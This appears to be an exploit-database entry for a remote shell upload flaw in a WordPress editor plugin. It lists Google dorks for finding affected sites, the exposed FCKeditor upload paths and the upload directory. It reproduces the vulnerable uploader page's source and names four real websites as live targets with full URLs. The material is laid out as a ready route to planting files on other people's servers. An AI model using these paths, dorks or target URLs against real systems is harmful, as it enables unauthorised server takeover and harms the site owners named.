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CVE | Category | Price | Severity |
---|---|---|---|
CWE-264 | Not specified | High |
Author | Risk | Exploitation Type | Date |
---|---|---|---|
Unknown | High | Remote | 2018-12-20 |
########################################################################################################### # Exploit Title : WordPress Monsters-Editor-10-For-WP-Super-Edit Plugins 2.3.1 Remote Shell Upload Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 20/12/2018 # Vendor Homepage : thedevcouple.com ~ wordpress.org/plugins/monsters-editor-10-for-wp-super-edit/ + github.com/wp-plugins/monsters-editor-10-for-wp-super-edit # Software Download Link : downloads.wordpress.org/plugin/monsters-editor-10-for-wp-super-edit.zip # Tested On : Windows and Linux # Category : WebApps # Version Information : 2.1 and 2.3.1 # Exploit Risk : Medium # Google Dorks : inurl:''/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/'' + intext:''Using the fMulti theme design by Fredrik Fahlstad Proudly powered by WordPress.'' + intext:''Website Design by Cynscreations.com.'' + intext:''Powered by Aquino Media | Designed by Aquino Media Group'' # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] + CWE-434: Unrestricted Upload of File with Dangerous Type # Visit Web Security Blog and Forum : cyberizm.org [ Team ] ~ ayarsecurity.com [ Friend ] ########################################################################################################### # Exploit : /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/browser.html /wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/browser/default/frmupload.html # Directory File Path : /wp-content/uploads/...... /wp-content/uploads/[YEAR]/[MONTH].... ################################################################################################# # Note : This plugin Monsters-Editor-10-For-WP-Super-Edit contains a very serious vulnerability that allowed hackers to gain full control modify, upload and execute files on any website running WordPress. With the plugin installed on a certain website, a hacker or malicious person can gain access to the web server via HTTP through a backdoor in the plugins directory. ########################################################################################################### Vulnerable File Code => /test.html ******************************** <!-- * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later (the "GPL") * http://www.gnu.org/licenses/gpl.html * * - GNU Lesser General Public License Version 2.1 or later (the "LGPL") * http://www.gnu.org/licenses/lgpl.html * * - Mozilla Public License Version 1.1 or later (the "MPL") * http://www.mozilla.org/MPL/MPL-1.1.html * * == END LICENSE == * * Test page for the "File Uploaders". --> <html> <head> <title>FCKeditor - Uploaders Tests</title> <script language="javascript"> function SendFile() { var sUploaderUrl = cmbUploaderUrl.value ; if ( sUploaderUrl.length == 0 ) sUploaderUrl = txtCustomUrl.value ; if ( sUploaderUrl.length == 0 ) { alert( 'Please provide your custom URL or select a default one' ) ; return ; } eURL.innerHTML = sUploaderUrl ; txtUrl.value = '' ; frmUpload.action = sUploaderUrl ; frmUpload.submit() ; } function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg ) { switch ( errorNumber ) { case 0 :// No errors txtUrl.value = fileUrl ; alert( 'File uploaded with no errors' ) ; break ; case 1 :// Custom error alert( customMsg ) ; break ; case 10 :// Custom warning txtUrl.value = fileUrl ; alert( customMsg ) ; break ; case 201 : txtUrl.value = fileUrl ; alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ; break ; case 202 : alert( 'Invalid file' ) ; break ; case 203 : alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ; break ; default : alert( 'Error on file upload. Error number: ' + errorNumber ) ; break ; } } </script> </head> <body> <table cellSpacing="0" cellPadding="0" width="100%" border="0" height="100%"> <tr> <td> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td nowrap> Select the "File Uploader" to use:<br> <select id="cmbUploaderUrl"> <option selected value="asp/upload.asp">ASP</option> <option value="aspx/upload.aspx">ASP.Net</option> <option value="cfm/upload.cfm">ColdFusion</option> <option value="lasso/upload.lasso">Lasso</option> <option value="php/upload.php">PHP</option> <option value="">(Custom)</option> </select> </td> <td nowrap> </td> <td width="100%"> Custom Uploader URL:<BR> <input id="txtCustomUrl" style="WIDTH: 100%; BACKGROUND-COLOR: #dcdcdc" disabled type="text"> </td> </tr> </table> <br> <table cellSpacing="0" cellPadding="0" width="100%" border="0"> <tr> <td noWrap> <form id="frmUpload" target="UploadWindow" enctype="multipart/form-data" action="" method="post"> Upload a new file:<br> <input type="file" name="NewFile"><br> <input type="button" value="Send it to the Server" onclick="SendFile();"> </form> </td> <td style="WIDTH: 16px"> </td> <td vAlign="top" width="100%"> Uploaded File URL:<br> <INPUT id="txtUrl" style="WIDTH: 100%" readonly type="text"> </td> </tr> </table> <br> Post URL: <span id="eURL"> </span> </td> </tr> <tr> <td height="100%"> <iframe name="UploadWindow" width="100%" height="100%" src="javascript:void(0)"></iframe> </td> </tr> </table> </body> </html> ########################################################################################################### # Example Vulnerable Sites => [+] dionysusrecords.com/main/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html [+] dfrere.fr/Blog01/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html [+] mark.langkau.org/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html [+] tonyaquino.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html ########################################################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###########################################################################################################
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